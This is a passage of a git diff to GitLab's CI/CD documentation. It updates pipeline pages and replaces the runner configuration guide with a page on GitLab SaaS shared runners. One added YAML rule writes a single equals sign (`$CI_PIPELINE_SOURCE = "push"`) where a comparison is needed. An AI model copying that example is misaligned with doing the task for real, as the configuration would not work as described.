73677dd6986..78031ec1d97 100644 --- a/doc/ci/pipelines/pipeline_architectures.md +++ b/doc/ci/pipelines/pipeline_architectures.md @@ -1,11 +1,11 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- -# Pipeline Architecture +# Pipeline architecture **(FREE)** Pipelines are the fundamental building blocks for CI/CD in GitLab. This page documents some of the important concepts related to them. diff --git a/doc/ci/pipelines/pipeline_artifacts.md b/doc/ci/pipelines/pipeline_artifacts.md index bc770dd3d90..b80a056bbca 100644 --- a/doc/ci/pipelines/pipeline_artifacts.md +++ b/doc/ci/pipelines/pipeline_artifacts.md @@ -1,11 +1,11 @@ --- stage: Verify -group: Continuous Integration +group: Testing info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- -# Pipeline artifacts +# Pipeline artifacts **(FREE)** Pipeline artifacts are files created by GitLab after a pipeline finishes. These are different than [job artifacts](job_artifacts.md) because they are not explicitly managed by the `.gitlab-ci.yml` definitions. @@ -17,5 +17,10 @@ Pipeline artifacts are saved to disk or object storage. They count towards a pro ## When pipeline artifacts are deleted -See the [`expire_in`](../yaml/README.md#artifactsexpire_in) documentation for information on when -pipeline artifacts are deleted. +Pipeline artifacts are deleted either: + +- Seven days after creation. +- After another pipeline runs successfully, if they are from the most recent successful + pipeline. + +This deletion may take up to two days. diff --git a/doc/ci/pipelines/pipeline_efficiency.md b/doc/ci/pipelines/pipeline_efficiency.md index 2deb3b27748..5bb435dddf6 100644 --- a/doc/ci/pipelines/pipeline_efficiency.md +++ b/doc/ci/pipelines/pipeline_efficiency.md @@ -1,11 +1,11 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- -# Pipeline Efficiency +# Pipeline efficiency **(FREE)** [CI/CD Pipelines](index.md) are the fundamental building blocks for [GitLab CI/CD](../README.md). Making pipelines more efficient helps you save developer time, which: diff --git a/doc/ci/pipelines/schedules.md b/doc/ci/pipelines/schedules.md index fb8de034d2a..c6a40039816 100644 --- a/doc/ci/pipelines/schedules.md +++ b/doc/ci/pipelines/schedules.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/schedules.html' type: reference, howto @@ -8,9 +8,6 @@ type: reference, howto # Pipeline schedules **(FREE)** -> - Introduced in GitLab 9.1 as [Trigger Schedule](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10533). -> - [Renamed to Pipeline Schedule](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10853) in GitLab 9.2. - Pipelines are normally run based on certain conditions being met. For example, when a branch is pushed to repository. Pipeline schedules can be used to also run [pipelines](index.md) at specific intervals. For example: @@ -54,31 +51,29 @@ is installed on. ### Using variables -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12328) in GitLab 9.4. - You can pass any number of arbitrary variables. They are available in GitLab CI/CD so that they can be used in your [`.gitlab-ci.yml` file](../../ci/yaml/README.md).  -### Using only and except +### Using `rules` To configure a job to be executed only when the pipeline has been -scheduled (or the opposite), use -[only and except](../yaml/README.md#only--except) configuration keywords. +scheduled, use the [`rules`](../yaml/README.md#rules) keyword. -In the example below `make world` runs in scheduled pipelines, and `make build` runs in pipelines that are not scheduled: +In this example, `make world` runs in scheduled pipelines, and `make build` +runs in branch and tag pipelines: ```yaml job:on-schedule: - only: - - schedules + rules: + - if: $CI_PIPELINE_SOURCE == "schedule" script: - make world job: - except: - - schedules + rules: + - if: $CI_PIPELINE_SOURCE = "push" script: - make build ``` diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md index 31e42a2cb68..2e842856e55 100644 --- a/doc/ci/pipelines/settings.md +++ b/doc/ci/pipelines/settings.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/settings.html' type: reference, howto @@ -35,7 +35,7 @@ There are two options. Using: back to clone if it doesn't exist). This is recommended, especially for [large repositories](../large_repositories/index.md#git-strategy). -The configured Git strategy can be overridden by the [`GIT_STRATEGY` variable](../runners/README.md#git-strategy) +The configured Git strategy can be overridden by the [`GIT_STRATEGY` variable](../runners/configure_runners.md#git-strategy) in `.gitlab-ci.yml`. ## Git shallow clone @@ -66,14 +66,14 @@ if the job surpasses the threshold, it is marked as failed. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17221) in GitLab 10.7. Project defined timeout (either specific timeout set by user or the default -60 minutes timeout) may be [overridden for runners](../runners/README.md#set-maximum-job-timeout-for-a-runner). +60 minutes timeout) may be [overridden for runners](../runners/configure_runners.md#set-maximum-job-timeout-for-a-runner). ## Maximum artifacts size **(FREE SELF)** For information about setting a maximum artifact size for a project, see [Maximum artifacts size](../../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size). -## Custom CI/CD configuration path +## Custom CI/CD configuration file > [Support for external `.gitlab-ci.yml` locations](https://gitlab.com/gitlab-org/gitlab/-/issues/14376) introduced in GitLab 12.6. @@ -87,7 +87,7 @@ To customize the path: 1. Provide a value in the **CI/CD configuration file** field. 1. Click **Save changes**. -If the CI configuration is stored in the repository in a non-default +If the CI/CD configuration file is stored in the repository in a non-default location, the path must be relative to the root directory. Examples of valid paths and file names include: @@ -96,11 +96,11 @@ paths and file names include: - `my/path/.gitlab-ci.yml` - `my/path/.my-custom-file.yml` -If hosting the CI configuration on an external site, the URL link must end with `.yml`: +If hosting the CI/CD configuration file on an external site, the URL link must end with `.yml`: - `http://example.com/generate/ci/config.yml` -If hosting the CI configuration in a different project in GitLab, the path must be relative +If hosting the CI/CD configuration file in a different project in GitLab, the path must be relative to the root directory in the other project. Include the group and project name at the end: - `.gitlab-ci.yml@mygroup/another-project` @@ -149,7 +149,7 @@ averaged. - JaCoCo (Java/Kotlin). Example: `Total.*?([0-9]{1,3})%`. - `go test -cover` (Go). Example: `coverage: \d+.\d+% of statements`. - .Net (OpenCover). Example: `(Visited Points).*\((.*)\)`. -- .Net (`dotnet test` line coverage). Example: `Total\s*\|\s*(\d+\.?\d+)`. +- .Net (`dotnet test` line coverage). Example: `Total\s*\|\s*(\d+(?:\.\d+)?)`. <!-- vale gitlab.Spelling = YES --> @@ -318,7 +318,7 @@ Markdown code embeds the test coverage report badge of the `coverage` job into your `README.md`: ```markdown - + ``` ### Badge styles @@ -331,7 +331,7 @@ Pipeline badges can be rendered in different styles by adding the `style=style_n https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat ``` -  +  - Flat square ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30120) in GitLab 11.8): @@ -339,7 +339,7 @@ Pipeline badges can be rendered in different styles by adding the `style=style_n https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat-square ``` -  +  ### Custom badge text @@ -348,10 +348,10 @@ Pipeline badges can be rendered in different styles by adding the `style=style_n The text for a badge can be customized to differentiate between multiple coverage jobs that run in the same pipeline. Customize the badge text and width by adding the `key_text=custom_text` and `key_width=custom_key_width` parameters to the URL: ```plaintext -https://gitlab.com/gitlab-org/gitlab/badges/master/coverage.svg?job=karma&key_text=Frontend+Coverage&key_width=130 +https://gitlab.com/gitlab-org/gitlab/badges/main/coverage.svg?job=karma&key_text=Frontend+Coverage&key_width=130 ``` - + <!-- ## Troubleshooting diff --git a/doc/ci/quick_start/README.md b/doc/ci/quick_start/README.md index c94d6e3ea80..577a80407d7 100644 --- a/doc/ci/quick_start/README.md +++ b/doc/ci/quick_start/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-01' --- This document was moved to [another location](index.md). diff --git a/doc/ci/quick_start/index.md b/doc/ci/quick_start/index.md index d20a0f0d4a1..225794aec17 100644 --- a/doc/ci/quick_start/index.md +++ b/doc/ci/quick_start/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -13,13 +13,16 @@ GitLab [continuous integration](https://about.gitlab.com/stages-devops-lifecycle Before you start, make sure you have: - A project in GitLab that you would like to use CI/CD for. -- Maintainer or owner access for the project. +- The [Maintainer or Owner role](../../user/permissions.md) for the project. If you are migrating from another CI/CD tool, view this documentation: - [Migrate from CircleCI](../migration/circleci.md). - [Migrate from Jenkins](../migration/jenkins.md). +> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch [First time GitLab & CI/CD](https://www.youtube.com/watch?v=kTNfi5z6Uvk&t=553s). This includes a quick introduction to GitLab, the first steps with CI/CD, building a Go project, running tests, using the CI/CD pipeline editor, detecting secrets and security vulnerabilities and offers more exercises for async practice. +> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch [Intro to GitLab CI](https://www.youtube.com/watch?v=l5705U8s_nQ&t=358s). This workshop uses the Web IDE to quickly get going with building source code using CI/CD, and run unit tests. + ## CI/CD process overview To use GitLab CI/CD: @@ -38,7 +41,7 @@ The job results [are displayed in a pipeline](#view-the-status-of-your-pipeline- In GitLab, runners are agents that run your CI/CD jobs. You might already have runners available for your project, including -[shared runners](../runners/README.md#shared-runners), which are +[shared runners](../runners/runners_scope.md), which are available to all projects in your GitLab instance. To view available runners: @@ -73,7 +76,7 @@ All of this is defined in the `.gitlab-ci.yml` file. To create a `.gitlab-ci.yml` file: -1. Go to **Project overview > Details**. +1. On the left sidebar, select **Project information > Details**. 1. Above the file list, select the branch you want to commit to, click the plus icon, then select **New file**: @@ -147,7 +150,7 @@ When you committed your changes, a pipeline started. To view your pipeline: -- Go **CI/CD > Pipelines**. +- Go to **CI/CD > Pipelines**. A pipeline with three stages should be displayed: @@ -162,3 +165,8 @@ To view your pipeline:  If the job status is `stuck`, check to ensure a runner is properly configured for the project. + +> To learn more about GitLab CI/CD, check out these video walkthroughs: +> +> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch [First time GitLab & CI/CD](https://www.youtube.com/watch?v=kTNfi5z6Uvk&t=150s). +> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch [Intro to GitLab CI](https://www.youtube.com/watch?v=l5705U8s_nQ&t=358s). diff --git a/doc/ci/review_apps/index.md b/doc/ci/review_apps/index.md index 122f9caebe7..a64efd50f6f 100644 --- a/doc/ci/review_apps/index.md +++ b/doc/ci/review_apps/index.md @@ -77,7 +77,7 @@ the **Enable Review Apps** button and GitLab prompts you with a template code bl you can copy and paste into `.gitlab-ci.yml` as a starting point. To do so: 1. Go to the project your want to create a Review App job for. -1. From the left nav, go to **Operations** > **Environments**. +1. From the left nav, go to **Deployments > Environments**. 1. Click on the **Enable Review Apps** button. It is available to you if you have Developer or higher [permissions](../../user/permissions.md) to that project. 1. Copy the provided code snippet and paste it into your diff --git a/doc/ci/runners/README.md b/doc/ci/runners/README.md index d09daea9a75..b493da993ca 100644 --- a/doc/ci/runners/README.md +++ b/doc/ci/runners/README.md @@ -5,844 +5,285 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Configuring runners in GitLab +# GitLab SaaS runners -In GitLab CI/CD, runners run the code defined in [`.gitlab-ci.yml`](../yaml/README.md). -A runner is a lightweight, highly-scalable agent that picks up a CI job through -the coordinator API of GitLab CI/CD, runs the job, and sends the result back to the GitLab instance. +If you are using self-managed GitLab or you want to use your own runners on GitLab.com, you can +[install and configure your own runners](https://docs.gitlab.com/runner/install/). -Runners are created by an administrator and are visible in the GitLab UI. -Runners can be specific to certain projects or available to all projects. +If you are using GitLab SaaS (GitLab.com), your CI jobs automatically run on shared runners. No configuration is required. +Your jobs can run on [Linux](#linux-shared-runners) or [Windows](#windows-shared-runners-beta). -This documentation is focused on using runners in GitLab. -If you need to install and configure GitLab Runner, see -[the GitLab Runner documentation](https://docs.gitlab.com/runner/). +The number of minutes you can use on these shared runners depends on your +[quota](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota), +which depends on your [subscription plan](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes). -## Types of runners +## Linux shared runners -In the GitLab UI there are three types of runners, based on who you want to have access: +Linux shared runners on GitLab.com run in autoscale mode and are powered by Google Cloud Platform. -- [Shared runners](#shared-runners) are available to all groups and projects in a GitLab instance. -- [Group runners](#group-runners) are available to all projects and subgroups in a group. -- [Specific runners](#specific-runners) are associated with specific projects. - Typically, specific runners are used for one project at a time. +Autoscaling means reduced queue times to spin up CI/CD jobs, and isolated VMs for each project, thus maximizing security. These shared runners are available for users and customers on GitLab.com. -### Shared runners +GitLab offers Ultimate tier capabilities and included CI/CD minutes per group per month for our [Open Source](https://about.gitlab.com/solutions/open-source/join/), [Education](https://about.gitlab.com/solutions/education/), and [Startups](https://about.gitlab.com/solutions/startups/) programs. For private projects, GitLab offers various [plans](https://about.gitlab.com/pricing/), starting with a Free tier. -*Shared runners* are available to every project in a GitLab instance. +All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, CoreOS and the latest Docker Engine +installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default +region of the VMs is US East1. +Each instance is used only for one job, this ensures any sensitive data left on the system can't be accessed by other people their CI jobs. -Use shared runners when you have multiple jobs with similar requirements. Rather than -having multiple runners idling for many projects, you can have a few runners that handle -multiple projects. +The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They don't run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times. -If you are using a self-managed instance of GitLab: +Jobs handled by the shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`), +**time out after 3 hours**, regardless of the timeout configured in a +project. Check the issues [4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference. -- Your administrator can install and register shared runners by - going to your project's **Settings > CI/CD**, expanding the **Runners** section, - and clicking **Show runner installation instructions**. - These instructions are also available [in the documentation](https://docs.gitlab.com/runner/install/index.html). -- The administrator can also configure a maximum number of shared runner [pipeline minutes for - each group](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota). +Below are the shared runners settings. -If you are using GitLab.com: +| Setting | GitLab.com | Default | +| ----------- | ----------------- | ---------- | +| [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) | [Runner versions dashboard](https://dashboards.gitlab.com/d/000000159/ci?from=now-1h&to=now&refresh=5m&orgId=1&panelId=12&fullscreen&theme=light) | - | +| Executor | `docker+machine` | - | +| Default Docker image | `ruby:2.5` | - | +| `privileged` (run [Docker in Docker](https://hub.docker.com/_/docker/)) | `true` | `false` | -- You can select from a list of [shared runners that GitLab maintains](../../user/gitlab_com/index.md#shared-runners). -- The shared runners consume the [pipelines minutes](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes) - included with your account. +### Pre-clone script -#### How shared runners pick jobs +Linux shared runners on GitLab.com provide a way to run commands in a CI +job before the runner attempts to run `git init` and `git fetch` to +download a GitLab repository. The +[`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) +can be used for: -Shared runners process jobs by using a fair usage queue. This queue prevents -projects from creating hundreds of jobs and using all available -shared runner resources. +- Seeding the build directory with repository data +- Sending a request to a server +- Downloading assets from a CDN +- Any other commands that must run before the `git init` -The fair usage queue algorithm assigns jobs based on the projects that have the -fewest number of jobs already running on shared runners. +To use this feature, define a [CI/CD variable](../../ci/variables/README.md#custom-cicd-variables) called +`CI_PRE_CLONE_SCRIPT` that contains a bash script. -**Example 1** +[This example](../../development/pipelines.md#pre-clone-step) +demonstrates how you might use a pre-clone step to seed the build +directory. -If these jobs are in the queue: +### `config.toml` -- Job 1 for Project 1 -- Job 2 for Project 1 -- Job 3 for Project 1 -- Job 4 for Project 2 -- Job 5 for Project 2 -- Job 6 for Project 3 - -The fair usage algorithm assigns jobs in this order: - -1. Job 1 is chosen first, because it has the lowest job number from projects with no running jobs (that is, all projects). -1. Job 4 is next, because 4 is now the lowest job number from projects with no running jobs (Project 1 has a job running). -1. Job 6 is next, because 6 is now the lowest job number from projects with no running jobs (Projects 1 and 2 have jobs running). -1. Job 2 is next, because, of projects with the lowest number of jobs running (each has 1), it is the lowest job number. -1. Job 5 is next, because Project 1 now has 2 jobs running and Job 5 is the lowest remaining job number between Projects 2 and 3. -1. Finally is Job 3... because it's the only job left. - ---- - -**Example 2** - -If these jobs are in the queue: - -- Job 1 for Project 1 -- Job 2 for Project 1 -- Job 3 for Project 1 -- Job 4 for Project 2 -- Job 5 for Project 2 -- Job 6 for Project 3 - -The fair usage algorithm assigns jobs in this order: - -1. Job 1 is chosen first, because it has the lowest job number from projects with no running jobs (that is, all projects). -1. We finish Job 1. -1. Job 2 is next, because, having finished Job 1, all projects have 0 jobs running again, and 2 is the lowest available job number. -1. Job 4 is next, because with Project 1 running a Job, 4 is the lowest number from projects running no jobs (Projects 2 and 3). -1. We finish Job 4. -1. Job 5 is next, because having finished Job 4, Project 2 has no jobs running again. -1. Job 6 is next, because Project 3 is the only project left with no running jobs. -1. Lastly we choose Job 3... because, again, it's the only job left. - -#### Enable shared runners - -On GitLab.com, [shared runners](#shared-runners) are enabled in all projects by -default. - -On self-managed instances of GitLab, an administrator must [install](https://docs.gitlab.com/runner/install/index.html) -and [register](https://docs.gitlab.com/runner/register/index.html) them. - -You can also enable shared runners for individual projects. - -To enable shared runners: - -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Select **Enable shared runners for this project**. - -#### Disable shared runners - -You can disable shared runners for individual projects or for groups. -You must have Owner permissions for the project or group. - -To disable shared runners for a project: - -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. In the **Shared runners** area, select **Enable shared runners for this project** so the toggle is grayed-out. - -Shared runners are automatically disabled for a project: - -- If the shared runners setting for the parent group is disabled, and -- If overriding this setting is not permitted at the project level. - -To disable shared runners for a group: - -1. Go to the group's **Settings > CI/CD** and expand the **Runners** section. -1. In the **Shared runners** area, turn off the **Enable shared runners for this group** toggle. -1. Optionally, to allow shared runners to be enabled for individual projects or subgroups, - click **Allow projects and subgroups to override the group setting**. - -NOTE: -To re-enable the shared runners for a group, turn on the -**Enable shared runners for this group** toggle. -Then, an owner or maintainer must explicitly change this setting -for each project subgroup or project. - -### Group runners - -Use *Group runners* when you want all projects in a group -to have access to a set of runners. - -Group runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. - -#### Create a group runner - -You can create a group runner for your self-managed GitLab instance or for GitLab.com. -You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group. - -To create a group runner: - -1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/). -1. Go to the group you want to make the runner work for. -1. Go to **Settings > CI/CD** and expand the **Runners** section. -1. Note the URL and token. -1. [Register the runner](https://docs.gitlab.com/runner/register/). - -#### View and manage group runners - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/37366/) in GitLab 13.2. - -You can view and manage all runners for a group, its subgroups, and projects. -You can do this for your self-managed GitLab instance or for GitLab.com. -You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group. - -1. Go to the group where you want to view the runners. -1. Go to **Settings > CI/CD** and expand the **Runners** section. -1. The following fields are displayed. - - | Attribute | Description | - | ------------ | ----------- | - | Type | One or more of the following states: shared, group, specific, locked, or paused | - | Runner token | Token used to identify the runner, and that the runner uses to communicate with the GitLab instance | - | Description | Description given to the runner when it was created | - | Version | GitLab Runner version | - | IP address | IP address of the host on which the runner is registered | - | Projects | The count of projects to which the runner is assigned | - | Jobs | Total of jobs run by the runner | - | Tags | Tags associated with the runner | - | Last contact | Timestamp indicating when the GitLab instance last contacted the runner | - -From this page, you can edit, pause, and remove runners from the group, its subgroups, and projects. - -#### Pause or remove a group runner - -You can pause or remove a group runner for your self-managed GitLab instance or for GitLab.com. -You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group. - -1. Go to the group you want to remove or pause the runner for. -1. Go to **Settings > CI/CD** and expand the **Runners** section. -1. Click **Pause** or **Remove runner**. - - If you pause a group runner that is used by multiple projects, the runner pauses for all projects. - - From the group view, you cannot remove a runner that is assigned to more than one project. - You must remove it from each project first. -1. On the confirmation dialog, click **OK**. - -### Specific runners - -Use *Specific runners* when you want to use runners for specific projects. For example, -when you have: - -- Jobs with specific requirements, like a deploy job that requires credentials. -- Projects with a lot of CI activity that can benefit from being separate from other runners. - -You can set up a specific runner to be used by multiple projects. Specific runners -must be enabled for each project explicitly. - -Specific runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. - -NOTE: -Specific runners do not get shared with forked projects automatically. -A fork *does* copy the CI/CD settings of the cloned repository. - -#### Create a specific runner - -You can create a specific runner for your self-managed GitLab instance or for GitLab.com. -You must have [Owner permissions](../../user/permissions.md#project-members-permissions) for the project. - -To create a specific runner: - -1. [Install runner](https://docs.gitlab.com/runner/install/). -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Note the URL and token. -1. [Register the runner](https://docs.gitlab.com/runner/register/). - -#### Enable a specific runner for a specific project - -A specific runner is available in the project it was created for. An administrator can -enable a specific runner to apply to additional projects. - -- You must have Owner permissions for the project. -- The specific runner must not be [locked](#prevent-a-specific-runner-from-being-enabled-for-other-projects). - -To enable or disable a specific runner for a project: - -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Click **Enable for this project** or **Disable for this project**. - -#### Prevent a specific runner from being enabled for other projects - -You can configure a specific runner so it is "locked" and cannot be enabled for other projects. -This setting can be enabled when you first [register a runner](https://docs.gitlab.com/runner/register/), -but can also be changed later. - -To lock or unlock a runner: - -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Find the runner you want to lock or unlock. Make sure it's enabled. -1. Click the pencil button. -1. Check the **Lock to current projects** option. -1. Click **Save changes**. - -## Manually clear the runner cache - -Read [clearing the cache](../caching/index.md#clearing-the-cache). - -## Set maximum job timeout for a runner - -For each runner, you can specify a *maximum job timeout*. This timeout, -if smaller than the [project defined timeout](../pipelines/settings.md#timeout), takes precedence. - -This feature can be used to prevent your shared runner from being overwhelmed -by a project that has jobs with a long timeout (for example, one week). - -When not configured, runners do not override the project timeout. - -On GitLab.com, you cannot override the job timeout for shared runners and must use the [project defined timeout](../pipelines/settings.md#timeout). - -To set the maximum job timeout: - -1. In a project, go to **Settings > CI/CD > Runners**. -1. Select your specific runner to edit the settings. -1. Enter a value under **Maximum job timeout**. -1. Select **Save changes**. - -How this feature works: - -**Example 1 - Runner timeout bigger than project timeout** - -1. You set the _maximum job timeout_ for a runner to 24 hours -1. You set the _CI/CD Timeout_ for a project to **2 hours** -1. You start a job -1. The job, if running longer, times out after **2 hours** - -**Example 2 - Runner timeout not configured** - -1. You remove the _maximum job timeout_ configuration from a runner -1. You set the _CI/CD Timeout_ for a project to **2 hours** -1. You start a job -1. The job, if running longer, times out after **2 hours** - -**Example 3 - Runner timeout smaller than project timeout** - -1. You set the _maximum job timeout_ for a runner to **30 minutes** -1. You set the _CI/CD Timeout_ for a project to 2 hours -1. You start a job -1. The job, if running longer, times out after **30 minutes** - -## Be careful with sensitive information - -With some [runner executors](https://docs.gitlab.com/runner/executors/README.html), -if you can run a job on the runner, you can get full access to the file system, -and thus any code it runs as well as the token of the runner. With shared runners, this means that anyone -that runs jobs on the runner, can access anyone else's code that runs on the -runner. - -In addition, because you can get access to the runner token, it is possible -to create a clone of a runner and submit false jobs, for example. - -The above is easily avoided by restricting the usage of shared runners -on large public GitLab instances, controlling access to your GitLab instance, -and using more secure [runner executors](https://docs.gitlab.com/runner/executors/README.html). - -### Prevent runners from revealing sensitive information - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13194) in GitLab 10.0. - -You can protect runners so they don't reveal sensitive information. -When a runner is protected, the runner picks jobs created on -[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only, -and ignores other jobs. - -To protect or unprotect a runner: - -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Find the runner you want to protect or unprotect. Make sure it's enabled. -1. Click the pencil button. -1. Check the **Protected** option. -1. Click **Save changes**. - - - -### Forks - -Whenever a project is forked, it copies the settings of the jobs that relate -to it. This means that if you have shared runners set up for a project and -someone forks that project, the shared runners serve jobs of this project. - -### Attack vectors in runners - -Mentioned briefly earlier, but the following things of runners can be exploited. -We're always looking for contributions that can mitigate these -[Security Considerations](https://docs.gitlab.com/runner/security/). - -### Reset the runner registration token for a project - -If you think that a registration token for a project was revealed, you should -reset it. A token can be used to register another runner for the project. That new runner -may then be used to obtain the values of secret variables or to clone project code. - -To reset the token: - -1. Go to the project's **Settings > CI/CD**. -1. Expand the **General pipelines settings** section. -1. Find the **Runner token** form field and click the **Reveal value** button. -1. Delete the value and save the form. -1. After the page is refreshed, expand the **Runners settings** section - and check the registration token - it should be changed. - -From now on the old token is no longer valid and does not register -any new runners to the project. If you are using any tools to provision and -register new runners, the tokens used in those tools should be updated to reflect the -value of the new token. - -## Determine the IP address of a runner - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17286) in GitLab 10.6. - -It may be useful to know the IP address of a runner so you can troubleshoot -issues with that runner. GitLab stores and displays the IP address by viewing -the source of the HTTP requests it makes to GitLab when polling for jobs. The -IP address is always kept up to date so if the runner IP changes it -automatically updates in GitLab. - -The IP address for shared runners and specific runners can be found in -different places. - -### Determine the IP address of a shared runner - -To view the IP address of a shared runner you must have admin access to -the GitLab instance. To determine this: - -1. Visit **Admin Area > Overview > Runners**. -1. Look for the runner in the table and you should see a column for **IP Address**. - - - -### Determine the IP address of a specific runner - -To can find the IP address of a runner for a specific project, -you must have Owner [permissions](../../user/permissions.md#project-members-permissions) for the project. - -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. On the details page you should see a row for **IP Address**. - - - -## Use tags to limit the number of jobs using the runner - -You must set up a runner to be able to run all the different types of jobs -that it may encounter on the projects it's shared over. This would be -problematic for large amounts of projects, if it weren't for tags. - -GitLab CI tags are not the same as Git tags. GitLab CI tags are associated with runners. -Git tags are associated with commits. - -By tagging a runner for the types of jobs it can handle, you can make sure -shared runners will [only run the jobs they are equipped to run](../yaml/README.md#tags). - -For instance, at GitLab we have runners tagged with `rails` if they contain -the appropriate dependencies to run Rails test suites. - -When you [register a runner](https://docs.gitlab.com/runner/register/), its default behavior is to **only pick** -[tagged jobs](../yaml/README.md#tags). -To change this, you must have Owner [permissions](../../user/permissions.md#project-members-permissions) for the project. - -To make a runner pick untagged jobs: - -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Find the runner you want to pick untagged jobs and make sure it's enabled. -1. Click the pencil button. -1. Check the **Run untagged jobs** option. -1. Click the **Save changes** button for the changes to take effect. +The full contents of our `config.toml` are: NOTE: -The runner tags list can not be empty when it's not allowed to pick untagged jobs. - -Below are some example scenarios of different variations. - -### runner runs only tagged jobs - -The following examples illustrate the potential impact of the runner being set -to run only tagged jobs. - -Example 1: - -1. The runner is configured to run only tagged jobs and has the `docker` tag. -1. A job that has a `hello` tag is executed and stuck. - -Example 2: - -1. The runner is configured to run only tagged jobs and has the `docker` tag. -1. A job that has a `docker` tag is executed and run. - -Example 3: - -1. The runner is configured to run only tagged jobs and has the `docker` tag. -1. A job that has no tags defined is executed and stuck. - -### runner is allowed to run untagged jobs - -The following examples illustrate the potential impact of the runner being set -to run tagged and untagged jobs. - -Example 1: - -1. The runner is configured to run untagged jobs and has the `docker` tag. -1. A job that has no tags defined is executed and run. -1. A second job that has a `docker` tag defined is executed and run. - -Example 2: - -1. The runner is configured to run untagged jobs and has no tags defined. -1. A job that has no tags defined is executed and run. -1. A second job that has a `docker` tag defined is stuck. - -## Configure runner behavior with variables - -You can use [CI/CD variables](../variables/README.md) to configure runner Git behavior -globally or for individual jobs: - -- [`GIT_STRATEGY`](#git-strategy) -- [`GIT_SUBMODULE_STRATEGY`](#git-submodule-strategy) -- [`GIT_CHECKOUT`](#git-checkout) -- [`GIT_CLEAN_FLAGS`](#git-clean-flags) -- [`GIT_FETCH_EXTRA_FLAGS`](#git-fetch-extra-flags) -- [`GIT_DEPTH`](#shallow-cloning) (shallow cloning) -- [`GIT_CLONE_PATH`](#custom-build-directories) (custom build directories) - -You can also use variables to configure how many times a runner -[attempts certain stages of job execution](#job-stages-attempts). - -### Git strategy - -> - Introduced in GitLab 8.9 as an experimental feature. -> - `GIT_STRATEGY=none` requires GitLab Runner v1.7+. - -You can set the `GIT_STRATEGY` used to fetch the repository content, either -globally or per-job in the [`variables`](../yaml/README.md#variables) section: - -```yaml -variables: - GIT_STRATEGY: clone -``` - -There are three possible values: `clone`, `fetch`, and `none`. If left unspecified, -jobs use the [project's pipeline setting](../pipelines/settings.md#git-strategy). - -`clone` is the slowest option. It clones the repository from scratch for every -job, ensuring that the local working copy is 